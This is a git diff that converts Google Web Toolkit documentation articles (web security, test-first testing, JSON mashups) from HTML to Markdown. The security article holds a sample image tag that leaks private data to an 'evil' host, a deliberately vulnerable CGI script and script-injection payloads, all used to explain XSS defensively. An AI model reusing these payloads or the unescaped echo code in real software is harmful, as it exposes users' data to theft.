 Normally you would view this as a read-only operation: the browser requests an image, and the server sends the data. The browser didn't upload anything, so no data can be lost, right? Almost, but not quite. The browser _did_ upload something: namely, the URL of the image. Images use standard URLs, and any URL can have query parameters encoded in it. A legitimate use case for this might be a page hit counter image, where a CGI on the server selects an appropriate image based on a query parameter and streams the data to the user in response. Here is a reasonable (though hypothetical) URL that could return a hit-count image showing the number '42':
 
-<pre>
+```
 http://site.domain.tld/pagehits?count=42
-</pre>
+```
 
-In the static HTML world, this is perfectly reasonable. After all, the server is not going to send the client to a web site that will leak the server's or user's data -- at least, not on purpose. Because this technique is legal in HTML, it's also legal in JavaScript, but there is an unintended consequence. If some evil JavaScript code gets injected into a good web page, it can construct &lt;img&gt; tags and add them to the page.
+In the static HTML world, this is perfectly reasonable. After all, the server is not going to
+send the client to a web site that will leak the server's or user's data -- at least, not on
+purpose. Because this technique is legal in HTML, it's also legal in JavaScript, but there is an
+unintended consequence. If some evil JavaScript code gets injected into a good web page, it can
+construct `<img>` tags and add them to the page.
 
-It is then free to construct a URL to any hostile domain, stick it in an &lt;img&gt; tag, and make the request. It's not hard to imagine a scenario where the evil code steals some useful information and encodes it in the &lt;img&gt; URL; an example might be a tag such as:
+It is then free to construct a URL to any hostile domain, stick it in an `<img>` tag, and
+make the request. It's not hard to imagine a scenario where the evil code steals some useful
+information and encodes it in the `<img>` URL; an example might be a tag such as:
 
-<pre>
-&lt;img src="http://evil.domain.tld/pagehits?private_user_data=12345"/&gt;
-</pre>
+```
+<img src="http://evil.domain.tld/pagehits?private_user_data=12345"/>
+```
 
 If `private_user_data` is a password, credit card number, or something similar, there'd be a major problem. If the evil code sets the size of the image to 1 pixel by 1 pixel, it's very unlikely the user will even notice it.
 
 ### Cross-Site Scripting <a id="cross-site"></a>
 
-The type of vulnerability just described is an example of a class of attacks called "Cross-Site Scripting" (abbreviated as "XSS"). These attacks involve browser script code that transmits data (or does even worse things) across sites. These attacks are not limited to &lt;img&gt; tags, either; they can be used in most places the browser lets script code access URLs. Here are some more examples of XSS attacks:
+The type of vulnerability just described is an example of a class of attacks called "Cross-Site
+Scripting" (abbreviated as "XSS"). These attacks involve browser script code that transmits data
+(or does even worse things) across sites. These attacks are not limited to `<img>` tags,
+either; they can be used in most places the browser lets script code access URLs.
+Here are some more examples of XSS attacks:
 
-*   **Evil code creates a hidden iframe and then adds a &lt;form&gt; to it**. The form's action is set to a URL on a server under the attacker's control. It then fills the form with hidden fields containing information taken from the parent page, and then submits the form.
+*   **Evil code creates a hidden iframe and then adds a `<form>` to it**. The form's action
+is set to a URL on a server under the attacker's control. It then fills the form with hidden fields containing information taken from the parent page, and then submits the form.
 *   **Evil code creates a hidden iframe, constructs a URL with query parameters** containing information taken from the parent page, and then sets the iframe's "src" to a URL on a server under the attacker's control.
-*   **Evil code creates a &lt;script&gt; tag**, which functions almost identically to the &lt;img&gt; attack. (Actually, it's a lot worse, as I'll explain in a later section.)
+*   **Evil code creates a `<script>` tag**, which functions almost identically to the
+`<img>` attack. (Actually, it's a lot worse, as I'll explain in a later section.)
 
-Clearly, if evil code gets into your page, it can do some nasty stuff. By the way, don't take my examples above as a complete list; there are far too many variants of this trick to describe here.
+Clearly, if evil code gets into your page, it can do some nasty stuff. By the way, don't take my
+examples above as a complete list; there are far too many variants of this trick to describe here.
 
-Throughout all this there's a really big assumption, though: namely, that evil JavaScript code could get itself into a good page in the first place. This sounds like it should be hard to do; after all, servers aren't going to intentionally include evil code in the HTML data they send to web browsers. Unfortunately, it turns out to be quite easy to do if the server (and sometimes even client) programmers are not constantly vigilant. And as always, evil people are spending huge chunks of their lives thinking up ways to do this.
+Throughout all this there's a really big assumption, though: namely, that evil JavaScript code
+could get itself into a good page in the first place. This sounds like it should be hard to do;
+after all, servers aren't going to intentionally include evil code in the HTML data they send to
+web browsers. Unfortunately, it turns out to be quite easy to do if the server (and sometimes
+even client) programmers are not constantly vigilant. And as always, evil people are spending h
+uge chunks of their lives thinking up ways to do this.
 
 The list of ways that evil code can get into an otherwise good page is endless. Usually they all boil down to unwary code that parrots user input back to the user. For instance, this Python CGI code is vulnerable:
 
-<pre>
+```
 import cgi
 f = cgi.FieldStorage()
 name = f.getvalue('name') or 'there'
 
-s = '&lt;html&gt;&lt;body&gt;&lt;div&gt;Hello, ' + name + '!&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;'
+s = '<html><body><div>Hello, ' + name + '!</div></body></html>'
 
 print 'Content-Type: text/html'
 print 'Content-Length: %s' % (len(s),)
 print
 print s
-</pre>
+```
 
 The code is supposed to print a simple greeting, based on a form input. For instance, a URL like this one would print "Hello, Dan!":
 
-<pre>
+```
 http://site.domain.tld/path?name=Dan
-</pre>
+```
 
 However, because the CGI doesn't inspect the value of the "name" variable, an attacker can insert script code in there.
 
 Here is some JavaScript that pops up an alert window:
 
-<pre>
-&lt;script&gt;alert('Hi');&lt;/script&gt;
-</pre>
+```
+<script>alert('Hi');</script>
+```
 
 That script code can be encoded into a URL such as this:
 
-<pre>
+```
 http://site.domain.tld/path?name=Dan%3Cscript%20%3Ealert%28%22Hi%22%29%3B%3C/script%3E
-</pre>
+```
 
-That URL, when run against the CGI above, inserts the &lt;script&gt; tag directly into the &lt;div&gt; block in the generated HTML. When the user loads the CGI page, it still says "Hello, Dan!" but it also pops up a JavaScript alert window.
+That URL, when run against the CGI above, inserts the `<script>`tag directly into the `<div>`block in the generated HTML. When the user loads the CGI page, it still says "Hello, Dan!" but it also pops up a JavaScript alert window.
 
 It's not hard to imagine an attacker putting something worse than a mere JavaScript alert in that URL. It's also probably not hard to imagine how easy it is for your real-world, more complex server-side code to accidentally contain such vulnerabilities. Perhaps the scariest thing of all is that an evil URL like the one above can exploit your servers entirely without your involvement.
 
@@ -143,7 +166,7 @@
 
         Typically these strings are parsed via a call to JavaScript's 'eval' function for fast decoding.
 
-*   A string containing a JSON object assigned to a variable, returned by a server as the response to a &lt;script&gt; tag.
+*   A string containing a JSON object assigned to a variable, returned by a server as the response to a `<script>`tag.
 
         Example:
 
@@ -155,11 +178,11 @@
 
         ` handleResult({'data': ['foo', 'bar']});`
 
-The last two examples are most useful when returned from a server as the response to a &lt;script&gt; tag inclusion. This could use a little explanation. Earlier text described how JavaScript is permitted to dynamically add &lt;img&gt; tags pointing to images on remote sites. The same is true of &lt;script&gt; tags: JavaScript code can dynamically insert new &lt;script&gt; tags that cause more JavaScript code to load.
+The last two examples are most useful when returned from a server as the response to a `<script>`tag inclusion. This could use a little explanation. Earlier text described how JavaScript is permitted to dynamically add `<img>`tags pointing to images on remote sites. The same is true of `<script>`tags: JavaScript code can dynamically insert new `<script>` tags that cause more JavaScript code to load.
 
-This makes dynamic &lt;script&gt; insertion a very useful technique, especially for mashups. Mashups frequently need to fetch data from different sites, but the Same-Origin Policy prevents them from doing so directly with an XMLHTTPRequest call. However, currently-running JavaScript code is trusted to load new JavaScript code from different sites -- and who says that code can't actually be data?
+This makes dynamic `<script>` insertion a very useful technique, especially for mashups. Mashups frequently need to fetch data from different sites, but the Same-Origin Policy prevents them from doing so directly with an XMLHTTPRequest call. However, currently-running JavaScript code is trusted to load new JavaScript code from different sites -- and who says that code can't actually be data?
 
-This concept might seem suspicious at first since it seems like a violation of the Same-Origin restriction, but it really isn't. Code is either trusted or it's not. Loading more code is more dangerous than loading data, so since your current code is already trusted to load more code, why should it not be trusted to load data as well? Meanwhile, &lt;script&gt; tags can only be inserted by trusted code in the first place, and the entire meaning of trust is that... you trust it to know what it's doing. It's true that XSS can abuse trust, but ultimately XSS can only originate from buggy server code. Same-Origin is based on trusting the server -- bugs and all.
+This concept might seem suspicious at first since it seems like a violation of the Same-Origin restriction, but it really isn't. Code is either trusted or it's not. Loading more code is more dangerous than loading data, so since your current code is already trusted to load more code, why should it not be trusted to load data as well? Meanwhile, `<script>` tags can only be inserted by trusted code in the first place, and the entire meaning of trust is that... you trust it to know what it's doing. It's true that XSS can abuse trust, but ultimately XSS can only originate from buggy server code. Same-Origin is based on trusting the server -- bugs and all.
 
 So what does this mean? How is writing a server-side service that exposes data via these methods vulnerable? Well, other people have explained this a lot better than we can cover it here. Here are some good treatments:
 
@@ -174,7 +197,7 @@
 
 ### XSS and GWT <a id="xss"></a>
 
-  Also see [SafeHtml](../doc/latest/DevGuideSecuritySafeHtml.html) &ndash; Provides coding guidelines with examples showing how to protect your application from XSS vulnerabilities due to untrusted data
+  Also see [SafeHtml](../doc/latest/DevGuideSecuritySafeHtml.html) -- Provides coding guidelines with examples showing how to protect your application from XSS vulnerabilities due to untrusted data
 
 XSS can be avoided if you rigorously follow good JavaScript programming practices. Since GWT helps you follow good JavaScript practices in general, it can help you with XSS. However, GWT developers are not immune, and there simply is no magic bullet.
 
@@ -201,24 +224,24 @@
 
 Here's an example. Consider this basic JavaScript page:
 
-<pre>
-&lt;html&gt;
-&lt;head&gt;
-  &lt;script language="JavaScript"&gt;
+```
+<html>
+<head>
+  <script language="JavaScript">
     function fillMyDiv(newContent) {
       document.getElementById('mydiv').innerHTML = newContent;
     }
-  &lt;/script&gt;
-&lt;/head&gt;
-&lt;body&gt;
-  &lt;p&gt;Some text before mydiv.&lt;/p&gt;
-  &lt;div id="mydiv"&gt;&lt;/div&gt;
-  &lt;p&gt;Some text after mydiv.&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
+  </script>
+</head>
+<body>
+  <p>Some text before mydiv.</p>
+  <div id="mydiv"></div>
+  <p>Some text after mydiv.</p>
+</body>
+</html>
+```
 
-The page contains a placeholder &lt;div&gt; named 'mydiv', and a JavaScript function that simply sets innerHTML on that div. The idea is that you would call that function from other code on your page whenever you wanted to update the content being displayed. However, suppose an attacker contrives to get a user to pass in this HTML as the 'newContent' variable: `<div onmousemove="alert('Hi!');">Some text</div>`
+The page contains a placeholder `<div>` named 'mydiv', and a JavaScript function that simply sets innerHTML on that div. The idea is that you would call that function from other code on your page whenever you wanted to update the content being displayed. However, suppose an attacker contrives to get a user to pass in this HTML as the 'newContent' variable: `<div onmousemove="alert('Hi!');">Some text</div>`
 
 Whenever the user mouses over 'mydiv', an alert will appear. If that's not frightening enough, there are other techniques -- only slightly more complicated -- that can execute code immediately without even needing to wait for user input. This is why setting innerHTML can be dangerous; you've got to be sure that the strings you use are trusted.
 
@@ -249,11 +272,11 @@
 *   Carefully inspect any strings you pass to eval or assign to innerHTML via a JSNI method
 *   Take care in your native JSNI methods to not do anything that would expose you to attacks
 
-The GWT team is considering adding support for standard string inspection to the GWT library. You would use this to validate any untrusted string to determine if it contains unsafe data (such as a &lt;script&gt; tag.) The idea is that you'd use this method to help you inspect any strings you need to pass to innerHTML or eval. However, this functionality is only being considered right now, so for the time being it's still important to do your own inspections. Be sure to follow the guidelines above -- and be sure to be paranoid!
+The GWT team is considering adding support for standard string inspection to the GWT library. You would use this to validate any untrusted string to determine if it contains unsafe data (such as a `<script>` tag.) The idea is that you'd use this method to help you inspect any strings you need to pass to innerHTML or eval. However, this functionality is only being considered right now, so for the time being it's still important to do your own inspections. Be sure to follow the guidelines above -- and be sure to be paranoid!
 
 ### XSRF and GWT <a id="xsrf"></a>
 
-  Also see [GWT RPC XSRF protection](../doc/latest/DevGuideSecurityRpcXsrf.html) &ndash; Explains how to protect GWT RPCs against XSRF attacks using RPC tokens introduced in GWT 2.3.
+  Also see [GWT RPC XSRF protection](../doc/latest/DevGuideSecurityRpcXsrf.html) -- Explains how to protect GWT RPCs against XSRF attacks using RPC tokens introduced in GWT 2.3.
 
 You can take steps to make your GWT application less vulnerable to XSRF attacks. The same techniques that you might use to protect other AJAX code will also work to protect your GWT application.
 
@@ -263,29 +286,29 @@
 
 If you are using the [RequestBuilder](/javadoc/latest/com/google/gwt/http/client/RequestBuilder.html) and [RequestCallback](/javadoc/latest/com/google/gwt/http/client/RequestCallback.html) classes in GWT, you can implement XSRF protection by setting a custom header to contain the value of your cookie. Here is some sample code:
 
-<pre>
+```
 RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, url);
 rb.setHeader("X-XSRF-Cookie", Cookies.getCookie("myCookieKey"));
 rb.sendRequest(null, myCallback);
-</pre>
+```
 
 If you are using GWT's RPC mechanism, the solution is unfortunately not quite as clean. However, there are still several ways you can accomplish it. For instance, you can add an argument to each method in your [RemoteService](/javadoc/latest/com/google/gwt/user/client/rpc/RemoteService.html) interface that contains a String. That is, if you wanted this interface:
 
-<pre>
+```
 public interface MyInterface extends RemoteService {
   public boolean doSomething();
   public void doSomethingElse(String arg);
 }
-</pre>
+```
 
 ...you could actually use this:
 
-<pre>
+```
 public interface MyInterface extends RemoteService {
   public boolean doSomething(String cookieValue);
   public void doSomethingElse(String cookieValue, String arg);
 }
-</pre>
+```
 
 When you call the method, you would pass in the current cookie value that you fetch using `Cookies.getCookie(String)`.
 
@@ -305,17 +328,17 @@
 
 The client code is then expected to strip the comment characters prior to passing the string to the eval function.
 
-The primary effect of this is that it prevents your JSON data from being stolen via a &lt;script&gt; tag. If you normally expect your server to export JSON data in response to a direct XMLHTTPRequest, this technique would prevent attackers from executing an XSRF attack against your server and stealing the response data via one of the attacks linked to earlier.
+The primary effect of this is that it prevents your JSON data from being stolen via a `<script>` tag. If you normally expect your server to export JSON data in response to a direct XMLHTTPRequest, this technique would prevent attackers from executing an XSRF attack against your server and stealing the response data via one of the attacks linked to earlier.
 
-If you only intend your JSON data to be returned via an XMLHTTPRequest, wrapping the data in a block comment prevents someone from stealing it via a &lt;script&gt; tag. If you are using JSON as the data format exposed by your own services and don't intend servers in other domains to use it, then there is no reason not to use this technique. It might keep your data safe even in the event that an attacker manages to forge a cookie.
+If you only intend your JSON data to be returned via an XMLHTTPRequest, wrapping the data in a block comment prevents someone from stealing it via a `<script>` tag. If you are using JSON as the data format exposed by your own services and don't intend servers in other domains to use it, then there is no reason not to use this technique. It might keep your data safe even in the event that an attacker manages to forge a cookie.
 
 #### Protecting Your Mashup
 
 You should also use the XSRF cookie-duplication countermeasure if you're exposing services for other mashups to use. However, if you're building a JSONP service that you want to expose publicly, the second comment-block technique we just described will be a hindrance.
 
-The reason is that the comment-wrapping technique works by totally disabling support for &lt;script&gt; tags. Since that is at the heart of JSONP, it disables that technique. If you are building a web service that you want to be used by other sites for in-browser mashups, then this technique would prevent that.
+The reason is that the comment-wrapping technique works by totally disabling support for `<script>` tags. Since that is at the heart of JSONP, it disables that technique. If you are building a web service that you want to be used by other sites for in-browser mashups, then this technique would prevent that.
 
-Conversely, be very careful if you're building mashups with someone else's site! If your application is a "JSON consumer" fetching data from a different domain via dynamic &lt;script&gt; tags, you are exposed to any vulnerabilities they may have. If their site is compromised, your application could be as well. Unfortunately, with the current state of the art, there isn't much you can do about this. After all -- by using a &lt;script&gt; tag, you're trusting their site. You just have to be sure that your trust is well-placed.
+Conversely, be very careful if you're building mashups with someone else's site! If your application is a "JSON consumer" fetching data from a different domain via dynamic `<script>` tags, you are exposed to any vulnerabilities they may have. If their site is compromised, your application could be as well. Unfortunately, with the current state of the art, there isn't much you can do about this. After all -- by using a `<script>` tag, you're trusting their site. You just have to be sure that your trust is well-placed.
 
 In other words, if you have critical private information on your own server, you should probably avoid in-browser JSONP-style mashups with another site. Instead, you might consider building your server to act as a relay or proxy to the other site. With that technique, the browser only communicates with your site, which allows you to use more rigorous protections. It may also provide you with an additional opportunity to inspect strings for evil code.
 
diff --git a/src/main/markdown/articles/testing_methodologies_using_gwt.md b/src/main/markdown/articles/testing_methodologies_using_gwt.md
index 02a0f7b..da0dddd 100644
--- a/src/main/markdown/articles/testing_methodologies_using_gwt.md
+++ b/src/main/markdown/articles/testing_methodologies_using_gwt.md
@@ -5,7 +5,7 @@
 
 _March 2009_
 
-This article is a direct adaptation of Daniel Wellman's excellent article, [&quot;GWT: Writing Ajax Applications Test-First&quot;](http://blog.danielwellman.com/2008/11/test-first-gwt-article-in-november-2008-better-software-magazine.html), published in Better Software magazine (November 2008).</i>
+This article is a direct adaptation of Daniel Wellman's excellent article, ["GWT: Writing Ajax Applications Test-First"](http://blog.danielwellman.com/2008/11/test-first-gwt-article-in-november-2008-better-software-magazine.html), published in Better Software magazine (November 2008).</i>
 
 One of the core features of GWT is testability, which means we can easily test our applications using a set of tried-and-true testing tools. Testability for GWT applications breaks down into the three following types of testing components:
 
@@ -19,7 +19,7 @@
 
 Since a GWT application is almost entirely written in the Java programming language, you can test a good part of it using standard JUnit TestCases. However, GWT also includes a special `TestCase` subclass, the `GWTTestCase` class, which can test code that requires JavaScript at runtime. While ultimately all of your client-side Java code will be cross-compiled to JavaScript, only some of it uses code directly implemented as JavaScript. For example, the following code is from the GWT `HTMLTable` class:
 
-<pre class="code">
+```
 public void setStylePrimaryName(int row, int column, String styleName) {
   UIObject.setStylePrimaryName(getCellElement(bodyElem, row, column), styleName);
 }
@@ -28,13 +28,14 @@
   var out = table.rows[row].cells[col];
   return (out == null ? null : out);
 }-*/;
-</pre>
+
+```
 
 This code sample demonstrates a method written in Java (`setStylePrimaryName`) which relies on code implemented directly in JavaScript indicated by the `native` keyword (`getCellElement`). Many of the GWT libraries include some native code as demonstrated above; in particular, all widgets manipulate the DOM. This means that when you're running unit tests over components that execute JavaScript natively, they must be running in an environment supporting the JavaScript runtime, such as the one provided by the hosted mode browser.
 
 To test components that rely on JavaScript code natively, GWT provides a subclass of JUnit's `TestCase` called `GWTTestCase`. This base class allows you to implement your JUnit test case as you normally would; in fact, GWTTestCases look almost identical to the standard JUnit TestCase:
 
-<pre class="code">
+```
 public class MeetingSummaryLabelTest extends GWTTestCase {
   public String getModuleName() {
     return "com.danielwellman.booking.Booking";
@@ -42,13 +43,14 @@
 
   // Add tests here
 }
-</pre>
+
+```
 
 The only visible difference is that all GWTTestCases must override an abstract method called `getModuleName`, which returns a String containing the name of your GWT code module as defined in your application's module XML file.
 
-When you run your test, the GWT framework starts up an invisible (or &quot;headless&quot;) hosted mode browser and then evaluates your test case. What this means is that all the facilities of the hosted browser are available to your test case; you can run native JavaScript functions, render widgets, or invoke asynchronous remote procedure calls. Furthermore, you can run your tests either as a hybrid of Java and JavaScript code (in hosted mode), or compile and run all your GWT code as JavaScript (in web mode). All you need to do is declare and pass the `-Dgwt.args="-web"` Java runtime argument to the TestRunner process when running your test. It is highly recommended that you run your tests both in hosted mode and web mode, since there are some subtle [differences between Java and JavaScript](http://code.google.com/p/google-web-toolkit-doc-1-5/wiki/DevGuideJavaCompatibility) which could cause unexpected failures.
+When you run your test, the GWT framework starts up an invisible (or "headless") hosted mode browser and then evaluates your test case. What this means is that all the facilities of the hosted browser are available to your test case; you can run native JavaScript functions, render widgets, or invoke asynchronous remote procedure calls. Furthermore, you can run your tests either as a hybrid of Java and JavaScript code (in hosted mode), or compile and run all your GWT code as JavaScript (in web mode). All you need to do is declare and pass the `-Dgwt.args="-web"` Java runtime argument to the TestRunner process when running your test. It is highly recommended that you run your tests both in hosted mode and web mode, since there are some subtle [differences between Java and JavaScript](http://code.google.com/p/google-web-toolkit-doc-1-5/wiki/DevGuideJavaCompatibility) which could cause unexpected failures.
 
-Setting up the classpath to run these tests requires both the source and interim compiled Java classes for the test code be passed to the test runner. GWT provides a tool called [&quot;junitCreator&quot;](http://code.google.com/p/google-web-toolkit-doc-1-5/wiki/DevGuideJunitCreator) which will generate an empty GWTTestCase for you along with the required scripts to run the tests both in hosted and web mode.
+Setting up the classpath to run these tests requires both the source and interim compiled Java classes for the test code be passed to the test runner. GWT provides a tool called ["junitCreator"](http://code.google.com/p/google-web-toolkit-doc-1-5/wiki/DevGuideJunitCreator) which will generate an empty GWTTestCase for you along with the required scripts to run the tests both in hosted and web mode.
 
 Being able to test native JavaScript code in your JUnit tests is great, but there are some caveats and limitations. First, the normal browser event mechanisms do work as expected in test mode, but you would need to add somewhat adventitious code to do things like programmatically click a button and expect the corresponding event handlers to be fired. (e.g. `onClick`). The best approach to handle cases where you would like to test through event listeners is to write Selenium tests that run against the browser with all event mechanisms in place. There are also performance considerations; running the TestCase forces a compilation of the source code in your module, which incurs an initial startup delay. Furthermore, each individual test case requires starting up and shutting down the headless browser . which can take several seconds. One useful technique to use is to group your test cases into TestSuites, so that tests can run in a single suite and only incur a single compilation / hosted mode startup cost per suite.
 
@@ -86,7 +88,7 @@
 
 Let's try to tackle a small slice of this functionality: the user enters a meeting capacity that cannot be scheduled. First, the view will notify the presenter that the user changed the value of the capacity text field. The presenter will then ask the RoomScheduler service if it can accept a new meeting with the specified capacity. Finally, the presenter will tell the view to disable the save button. Let's write a test for this scenario:
 
-<pre class="code">
+```
 import static org.easymock.EasyMock.*;
 
 public class PresenterTest extends TestCase {
@@ -112,27 +114,30 @@
    assertEquals("Should have updated the model's capacity", 225, meeting.getCapacity());
   }
 }
-</pre>
+
+```
 
 This test is an interaction-based test which uses EasyMock to provide test doubles for the View and the RoomScheduler. We stub out the scheduler to reply that it cannot accept capacity for the meeting, and expect our view to be told to disable the save button. Note here that the View ends up being fairly dumb; it does nothing but notify the presenter whenever the required capacity is changed.
 
 This code requires that we specify an interface for our view:
 
-<pre class="code">
+```
 public interface MeetingView {
   void disableSaveButton();
-}</pre>
+}
+```
 
 ... and for our service:
 
-<pre class="code">
+```
 public interface RoomScheduler {
   boolean canAcceptCapacityFor(Meeting meeting);
-}</pre>
+}
+```
 
 The code that passes this test is fairly simple:
 
-<pre class="code">
+```
 public class Presenter {
   private Meeting meeting;
   private MeetingView meetingView;
@@ -160,15 +165,16 @@
     return meeting;
   }
 }
-</pre>
+
+```
 
 The Presenter is responsible for orchestrating the call to the remote service and instructing the view to disable the save button. Note also that we're choosing to let the Presenter maintain the state of the Meeting object, so that all UI events ultimately modify this object.
 
-This is a very simple implementation, but it's far from the completed design. Our next test would probably check that setting an acceptable capacity enables the save button, and drive us to either make a new method &quot;`enableSaveButton`&quot; or a generalized &quot;`setSaveButtonAvailable`&quot; method on the view. We're still testing plain Java objects that don't require any JavaScript, so these tests run quickly.
+This is a very simple implementation, but it's far from the completed design. Our next test would probably check that setting an acceptable capacity enables the save button, and drive us to either make a new method "`enableSaveButton`" or a generalized "`setSaveButtonAvailable`" method on the view. We're still testing plain Java objects that don't require any JavaScript, so these tests run quickly.
 
 Note the argument to `requiredCapacityChanged` is of the type `HasText`. This turns out to be an interface that is part of the GWT libraries:
 
-<pre class="code">
+```
 package com.google.gwt.user.client.ui;
 
 public interface HasText {
@@ -185,11 +191,12 @@
   */
   void setText(String text);
 }
-</pre>
+
+```
 
 This simple interface is used by many GWT components and allows manipulation of a widget's text contents, including the TextBox in our example. This interface is extremely useful for testing because we don't need to pass in a real TextBox. Thus we avoid instantiating a text input in the DOM, requiring our test to extend GWTTestCase to run in a real browser. In this example, I've made a very simple fake implementation which wraps a String:
 
-<pre class="code">
+```
 public class FakeTextContainer implements HasText {
   private String text;
 
@@ -205,11 +212,12 @@
     this.text = text;
   }
 }
-</pre>
+
+```
 
 Finally, let's take a look at our view implementation:
 
-<pre class="code">
+```
 public class MeetingViewWidget extends Composite implements MeetingView {
   private Button saveButton = new Button("Save");
   private TextBox capacityText = new TextBox();
@@ -242,11 +250,12 @@
     saveButton.setEnabled(false);
   }
 }
-</pre>
+
+```
 
 And lastly, the Meeting class code, for completeness:
 
-<pre class="code">
+```
 public class Meeting {
   private Integer capacity;
 
@@ -255,10 +264,11 @@
   }
 
   public void setCapacity(int capacity) {
-    this.capacity = capacity; 
+    this.capacity = capacity;
   }
 }
-</pre>
+
+```
 
 As you can see, there's not much logic here. Most of the code is involved in setting up the event listeners and configuring the display widgets. So how do we test it in a GWTTestCase?
 
diff --git a/src/main/markdown/articles/using_gwt_for_json_mashups.md b/src/main/markdown/articles/using_gwt_for_json_mashups.md
index efc7ef8..39a6110 100644
--- a/src/main/markdown/articles/using_gwt_for_json_mashups.md
+++ b/src/main/markdown/articles/using_gwt_for_json_mashups.md
@@ -21,25 +21,26 @@
 
 What is JSON, anyway? Well, by a happy coincidence, it turns out that the syntax JavaScript uses for defining data objects is rather broadly compatible with other languages. This makes it a sort of lowest-common-denominator syntax for specifying data. Other folks have covered this better than I can, so I'll just send you straight to the source: [json.org](http://json.org).
 
-One of the key benefits of JSON is that because it is essentially JavaScript syntax, browsers can &quot;parse&quot; JSON data simply by calling the JavaScript eval function. This is both easy and fast because it takes advantage of native code in the browsers to do the parsing. (This is also why JSON can be a security problem; if the JSON string actually contains non-JSON code, then calling eval on it is quite dangerous.)
+One of the key benefits of JSON is that because it is essentially JavaScript syntax, browsers can "parse" JSON data simply by calling the JavaScript eval function. This is both easy and fast because it takes advantage of native code in the browsers to do the parsing. (This is also why JSON can be a security problem; if the JSON string actually contains non-JSON code, then calling eval on it is quite dangerous.)
 
 Once you have a service that can produce JSON data, there are generally three different ways to use it. These methods can be categorized by how you fetch the data.
 
 *   The server can output a string containing raw JSON data that the browser fetches with an `XMLHTTPRequest` and manually passes to the eval function.
 
               Example server-generated string: `{'data': ['foo', 'bar', 'baz']}`
-*   The server can output a string containing JavaScript code that assigns a JSON object to a variable; the browser would fetch this using a &lt;script&gt; tag and then extract the parsed object by referring to the variable by name.
+*   The server can output a string containing JavaScript code that assigns a JSON object to a
+variable; the browser would fetch this using a `<script>` tag and then extract the parsed object by referring to the variable by name.
 
               Example server-generated string: `var result = {'data': ['foo', 'bar', 'baz']};`
-*   The server can output a string containing JavaScript code that passes a JSON object to a function specified in the request URL; the browser would fetch this using a &lt;script&gt; tag, which will automatically invoke the function as if it were an event callback, as soon as the JavaScript is parsed.
+*   The server can output a string containing JavaScript code that passes a JSON object to a function specified in the request URL; the browser would fetch this using a `<script>` tag, which will automatically invoke the function as if it were an event callback, as soon as the JavaScript is parsed.
 
               Example server-generated string: `handle_result({'data': ['foo', 'bar', 'baz']});`
 
-The term JSON technically refers only to the data representation syntax (which is where the &quot;Object Notation&quot; part of its name comes from) and so JSON is a strict subset of JavaScript. Because of this, those last two methods aren't technically JSON--they're JavaScript code that deals with data in JSON format. They are still close cousins to JSON, though, and frequently &quot;JSON&quot; is used as a blanket term for all such cases. The third method in particular is frequently called &quot;JSON with Padding&quot; (JSONP); the earliest description of this technique that I'm aware of is here: [Remote JSON - JSONP](http://bob.pythonmac.org/archives/2005/12/05/remote-json-jsonp/).
+The term JSON technically refers only to the data representation syntax (which is where the "Object Notation" part of its name comes from) and so JSON is a strict subset of JavaScript. Because of this, those last two methods aren't technically JSON--they're JavaScript code that deals with data in JSON format. They are still close cousins to JSON, though, and frequently "JSON" is used as a blanket term for all such cases. The third method in particular is frequently called "JSON with Padding" (JSONP); the earliest description of this technique that I'm aware of is here: [Remote JSON - JSONP](http://bob.pythonmac.org/archives/2005/12/05/remote-json-jsonp/).
 
 The primary difference between these techniques is how they are fetched. Since the first case--that is, pure JSON--contains no executable component, it's generally only useful with XMLHTTPRequests. Because that function is subject to Same-Origin restrictions, that means that pure-JSON can only be used as a data transmission technique between a browser application and its HTTP server.
 
-The latter two techniques, however, fetch the strings using dynamic &lt;script&gt; tag insertions. Since that technique is not limited by Same-Origin restrictions, it can be used cross-domain. Coupled with services that expose their data in JavaScript syntax, this allows browsers to make requests for data from several different servers. This is the technique that makes mashups possible. (More specifically--mashups that run entirely inside the browser. You can also create mashups using server-side proxies if you don't want to use JSONP and don't mind maintaining your own server.)
+The latter two techniques, however, fetch the strings using dynamic `<script>` tag insertions. Since that technique is not limited by Same-Origin restrictions, it can be used cross-domain. Coupled with services that expose their data in JavaScript syntax, this allows browsers to make requests for data from several different servers. This is the technique that makes mashups possible. (More specifically--mashups that run entirely inside the browser. You can also create mashups using server-side proxies if you don't want to use JSONP and don't mind maintaining your own server.)
 
 ## High-level design
 
@@ -47,7 +48,7 @@
 
 Since GWT applications are written in Java, there is a compilation phase that compiles the Java source to JavaScript. The compiler also optimizes the generated code, and one of the optimizations it performs is code obfuscation, which makes the output smaller and thus faster to load. A downside of this, though, is that the function names in the output JavaScript code are unpredictable. This makes it difficult to specify a callback function name to a JSONP service.
 
-There is an effective technique for cases like this that we sometimes refer to as a &quot;function bridge.&quot; We've [documented it](../doc/latest/DevGuideCodingBasics.html#DevGuideJavaScriptNativeInterface) in our GWT FAQs, but in a nutshell, the technique involves creating a handle for the obfuscated function and copying it to a well-known variable name in the JavaScript namespace. When outside JavaScript code (such as a Google Data server response) invokes the function under its well-known name, it actually invokes the real function via the copied handle. (Check out the link earlier in this paragraph to see a basic example.)
+There is an effective technique for cases like this that we sometimes refer to as a "function bridge." We've [documented it](../doc/latest/DevGuideCodingBasics.html#DevGuideJavaScriptNativeInterface) in our GWT FAQs, but in a nutshell, the technique involves creating a handle for the obfuscated function and copying it to a well-known variable name in the JavaScript namespace. When outside JavaScript code (such as a Google Data server response) invokes the function under its well-known name, it actually invokes the real function via the copied handle. (Check out the link earlier in this paragraph to see a basic example.)
 
 However, my project made a lot of those Google Data requests. That could conceivably leave quite a few of these function handles lying around, so there was some bookkeeping that needed to be managed.
 
@@ -58,7 +59,7 @@
 *   The callback is actually a JavaScript function closure over the token; the token is passed along to the inner function when the callback is invoked.
 *   The same inner function is used for each callback; this function is actually a method on my GWT class, which uses the token to dispatch the response data to the appropriate GWT code.
 
-This strategy has the following &quot;moving parts&quot;:
+This strategy has the following "moving parts":
 
 *   A single dispatch method on my GWT class to handle incoming responses from the Google Data server
 *   A second method on my GWT class that uses JSNI to construct the function closures and initiate the Google Data request
@@ -73,15 +74,15 @@
 
 Specifically, here are the key requirements I had:
 
-*   Must abstract the dynamic &lt;script&gt; insertion behind a method call
-*   Must handle bookkeeping of &lt;script&gt; tags (to be able to clean them up later and prevent memory leaks)
+*   Must abstract the dynamic `<script>` insertion behind a method call
+*   Must handle bookkeeping of `<script>` tags (to be able to clean them up later and prevent memory leaks)
